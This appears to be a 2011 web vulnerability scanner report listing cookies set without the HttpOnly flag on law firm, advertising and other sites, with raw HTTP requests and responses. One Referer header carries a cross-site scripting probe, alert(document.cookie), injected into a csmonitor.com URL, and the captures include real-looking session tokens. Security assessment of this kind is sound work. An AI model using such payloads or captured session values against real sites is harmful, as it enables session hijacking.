HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:54:40 GMT Server: Microsoft-IIS/6.0 Content-Length: 15834 Content-Type: text/html Expires: Wed, 19 Jan 2011 16:54:19 GMT Set-Cookie: llsdc=csid=115131119127127125117125133&urm=127121151117155159119153121159151153109123117159131109133117149123109149157125117109121123159123159121159157; expires=Thu, 19-Jan-2012 16:54:18 GMT; path=/ Set-Cookie: ASPSESSIONIDCCAASTSA=IMPLHLIDIEAKAAOOOFEONHBH; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><!-- #BeginTemplate "/Templates/template.dwt" --><!-- DW6 --> <head> <!-- #BeginEdita ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.llsdc.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:52:13 GMT Server: Microsoft-IIS/6.0 Content-Length: 15834 Content-Type: text/html Expires: Wed, 19 Jan 2011 16:52:11 GMT Set-Cookie: llsdc=csid=131129131125127115117125133&urm=123121115155123153125133119131129119109119125133131109121125159123109133153115157109125159117131157117123125; expires=Thu, 19-Jan-2012 16:52:12 GMT; path=/ Set-Cookie: ASPSESSIONIDCACAQTTA=GBNBALIDGEAMBEEAHFACJCMM; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><!-- #BeginTemplate "/Templates/template.dwt" --><!-- DW6 --> <head> <!-- #BeginEdita ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.morganlewis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=abc6OjBCNZRj89neCmF2s; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.nleomf.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Resin/3.1.8 Set-Cookie: JSESSIONID=abc6OjBCNZRj89neCmF2s; path=/ Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 16:53:14 GMT Set-Cookie: NSC_dnt_900_qvc=ffffffff09041e3745525d5f4f58455e445a4a4214f4;expires=Wed, 19-Jan-2011 17:53:14 GMT;path=/;httponly Content-Length: 24112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.nylontechnology.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:53:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=1808548;expires=Fri, 11-Jan-2041 16:53:17 GMT;path=/ Set-Cookie: CFTOKEN=22611239;expires=Fri, 11-Jan-2041 16:53:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Nylon Technology</title> <link rel="stylesheet" ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/lgpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.political.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:55:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18273037;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Set-Cookie: CFTOKEN=87095538;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html> <head> <title>Covington Political Broadcasting Law</title ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.tatebywater.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:09:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 12506 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQTABRTB=CJDLHMBDDHCLLCJKMHDENPGL; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-language" CONTENT="en-US"> <META HTTP-EQUIV="pragma" CONTENT="no-cache"> <META NAME="title" ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /in-ring-trials-washington-lawyer-robert-s-bennett-hardcover/wapi/107129050/x26amp HTTP/1.1 Host: www.tower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ShowUserReviews-g28970-d564552-m10805-r17552300-National_Law_Enforcement_Officers_Memorial-Washington_DC_District_of_Columbia.html/x26amp HTTP/1.1 Host: www.tripadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>301 Moved Permanently</TITLE> <!--web07a.tripadvisor.com--><!--PRODUCTION--><!--PRODUCTION--> </HEAD><BODY> <H1>Found</H1> The do ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.unica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:09:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: JSESSIONID=D92DBA3A45345A2BB19F39E74FFB0B41.ds1; Path=/ Set-Cookie: RedDotLiveServerSessionID_unica_corporate_2009=SID-F0CC97E2-9FB6377D; Path=/ Date: Wed, 19 Jan 2011 15:09:10 GMT Expires: Wed, 19 Jan 2011 15:09:10 GMT lsrequestid: 37729560 Cache-Control: no-cache Pragma: no-cache Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><!-- PageID 1 - published by ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=l9vo8br1ar1sb925073p5fj8l5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.wglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:10:46 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=l9vo8br1ar1sb925073p5fj8l5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 9770
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta name="verify-v1" content="ib7hYokE8xTH8rrKN/W0EAXvDy5XEdfLoqcYhe38wGg=" /> <m ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18263656;expires=Fri, 11-Jan-2041 15:08:55 GMT;path=/ Set-Cookie: CFTOKEN=43582841;expires=Fri, 11-Jan-2041 15:08:55 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.winstead.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=8AB5613399C2FF70E620D802DA54E69A; Path=/ Content-Type: text/html Date: Wed, 19 Jan 2011 15:13:36 GMT Connection: close
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="Generator" content="Intelliun VE 4.0" /> <meta name='description' content='Among the largest business la ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|1323822/1044251/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a94/7/9c/*/r;234088911;0-0;0;57791248;3454-728/90;39877168/39894955/1;;~sscs=?http:/ads.specificmedia.com/click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct=http:/www.nutrisystem.com/jsps_hmr/tracking/click.jsp?iid=29572&rURL=/webnoweeksoffernetworks HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ads.specificmedia.com/click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct=http:/www.nutrisystem.com/jsps_hmr/tracking/click.jsp?iid=29572&rURL=/webnoweeksoffernetworks Set-Cookie: id=c653243310000d9|1323822/1044251/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:37 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|1261211/855565/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;233547068;57362403;h;pc=[TPAS_ID]?http://www.meebo.com/blank.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.meebo.com/blank.html Set-Cookie: id=c653243310000d9|1261211/855565/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:43 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|1837672/538032/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jump/N4789.Vault/B4885532;sz=300x250;ord=998343728? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.vzwcampus.com/default.aspx?ss=paid Set-Cookie: id=c653243310000d9|1837672/538032/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:16 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /iframe3?bCIAAN51GAAqmW0AAAAAAD8wHAAAAAAAAgAAAPgAAAAAAP8AAAAECqpSJQAAAAAArFIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAntA8AAAAAAAIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADS0AWI1-x.Ce7ZarW0l.imF7SzNgulCrzNMHtoAAAAAA==,,http%3A%2F%2Fd3.zedo.com%2Fjsc%2Fd3%2Fff2.html%3Fn%3D933%3Bc%3D56%3Bs%3D1%3Bd%3D15%3Bw%3D1%3Bh%3D1%3Bq%3D1099,Z%3D1x1%26s%3D1603038%26_salt%3D1773062159%26B%3D10%26u%3Dhttp%253A%252F%252Fd3.zedo.com%252Fjsc%252Fd3%252Fff2.html%253Fn%253D933%253Bc%253D56%253Bs%253D1%253Bd%253D15%253Bw%253D1%253Bh%253D1%253Bq%253D1099%26r%3D0,e1cb460a-23e3-11e0-93af-003048d44840 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://ads.bluelithium.com/st?ad_type=iframe&ad_size=1x1§ion=1603038 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=uid=2c382b2c-154d-11e0-8090-001e6849f405&_hmacv=1&_salt=2076931618&_keyid=k1&_hmac=deb36388c0462f4f1745f3224a27addc34e20c73; pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; ih="b!!!!+!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!->h]!!!!#<htSD!.N)i!!!!#<htgq!/H]-!!!!'<hu!d!/c)/!!!!#<h67=!/o:O!!!!#<htU#!/poZ!!!!#<iLQk"; bh="b!!!!b!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!#<ie@S!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!5i*!!!!#<himW!!L(*!!!!#<h67=!!`Yp!!!!#<htUb!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!ys+!!!!$<h2ED!###_!!!!#<j?lI!#$=X!!!!#<gj@R!#-vv!!!!$<iC/K!#0$b!!!!%<hu%0!#7(x!!!!#<ie@S!#:dW!!!!#<gj@R!#<QL!!!!#<iC/U!#C-Y!!!!#<iC/U!#Ie+!!!!#<iJoK!#Kf*!!!!#<ie2`!#M@I!!!!#<ie2`!#PrV!!!!#<iC/U!#Qh8!!!!#<iC/U!#R+m!!!!#<ie2`!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#U5p!!!!#<gj@R!#ZPo!!!!#<ie2`!#ZhT!!!!#<ie@S!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#^!M!!!!#<ie2`!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b](!!!!#<gj@R!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e+>!!!!#<iC/U!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#f93!!!!#<gj@R!#fBu!!!!#<gj@R!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#l)E!!!!#<iC/U"
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:50:48 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT X-RightMedia-Hostname: ad0267.2rm.ac4 Set-Cookie: ih="b!!!!,!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!->h]!!!!#<htSD!.N)i!!!!#<htgq!.`.U!!!!#<jHA_!/H]-!!!!'<hu!d!/c)/!!!!#<h67=!/o:O!!!!#<htU#!/poZ!!!!#<iLQk"; path=/; expires=Fri, 18-Jan-2013 15:50:48 GMT Set-Cookie: vuday1=Gf(n`!10^!d%y9^; path=/; expires=Thu, 20-Jan-2011 00:00:00 GMT Cache-Control: no-store Last-Modified: Wed, 19 Jan 2011 15:50:48 GMT Pragma: no-cache Content-Length: 350 Content-Type: text/html Age: 0 Proxy-Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel?id=1056957&id=1056945&id=736147&id=736181&id=744650&id=1056972&id=1056959&id=1056947&t=2 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=uid=2c382b2c-154d-11e0-8090-001e6849f405&_hmacv=1&_salt=2076931618&_keyid=k1&_hmac=deb36388c0462f4f1745f3224a27addc34e20c73; pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; bh="b!!!!b!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!#<ie@S!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!5i*!!!!#<himW!!L(*!!!!#<h67=!!`Yp!!!!#<htUb!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!ys+!!!!$<h2ED!###_!!!!#<j?lI!#$=X!!!!#<gj@R!#-vv!!!!$<iC/K!#0$b!!!!%<hu%0!#7(x!!!!#<ie@S!#:dW!!!!#<gj@R!#<QL!!!!#<iC/U!#C-Y!!!!#<iC/U!#Ie+!!!!#<iJoK!#Kf*!!!!#<ie2`!#M@I!!!!#<ie2`!#PrV!!!!#<iC/U!#Qh8!!!!#<iC/U!#R+m!!!!#<ie2`!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#U5p!!!!#<gj@R!#ZPo!!!!#<ie2`!#ZhT!!!!#<ie@S!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#^!M!!!!#<ie2`!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b](!!!!#<gj@R!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e+>!!!!#<iC/U!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#f93!!!!#<gj@R!#fBu!!!!#<gj@R!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#l)E!!!!#<iC/U"; ih="b!!!!,!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!->h]!!!!#<htSD!.N)i!!!!#<htgq!.`.U!!!!#<jHA_!/H]-!!!!'<hu!d!/c)/!!!!#<h67=!/o:O!!!!#<htU#!/poZ!!!!#<iLQk"; vuday1=Gf(n`!10^!d%y9^
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 15:51:10 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: bh="b!!!!j!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!#<ie@S!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!5i*!!!!#<himW!!L(*!!!!#<h67=!!`Yp!!!!#<htUb!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!ys+!!!!$<h2ED!###_!!!!#<j?lI!#$=X!!!!#<gj@R!#-vv!!!!$<iC/K!#0$b!!!!%<hu%0!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(V!!!!#<jHAu!#7(x!!!!#<ie@S!#:dW!!!!#<gj@R!#<QL!!!!#<iC/U!#C-Y!!!!#<iC/U!#Ie+!!!!#<iJoK!#Kf*!!!!#<ie2`!#M@I!!!!#<ie2`!#PrV!!!!#<iC/U!#Qh8!!!!#<iC/U!#R+m!!!!#<ie2`!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#U5p!!!!#<gj@R!#ZPo!!!!#<ie2`!#ZhT!!!!#<ie@S!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#^!M!!!!#<ie2`!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<^!!!!#<jHAu!#b<h!!!!#<jHAu!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b](!!!!#<gj@R!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e+>!!!!#<iC/U!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#f93!!!!#<gj@R!#fBu!!!!#<gj@R!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#l)E!!!!#<iC/U"; path=/; expires=Fri, 18-Jan-2013 15:51:10 GMT Location: http://www.googleadservices.com/pagead/conversion/1034849195/?label=RzLbCNmv5gEQq5e67QM&guid=ON&script=0 Cache-Control: no-store Last-Modified: Wed, 19 Jan 2011 15:51:10 GMT Pragma: no-cache Content-Length: 0 Age: 0 Proxy-Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aclk HTTP/1.1 Host: adclick.g.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/behavioral-data/8201?d=1122 HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://loadus.exelator.com/load/net.php?n=PGltZyBzcmM9Imh0dHA6Ly9hZHMuYWRicml0ZS5jb20vYWRzZXJ2ZXIvYmVoYXZpb3JhbC1kYXRhLzgyMDE%2FZD0xMTIyIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBib3JkZXI9IjAiPjwvaW1nPg%3D%3D&h=886e9052c55ee4799931e98b9fed75bb Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z1fSUUpKzMtLLcoEK1CqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0"
Response
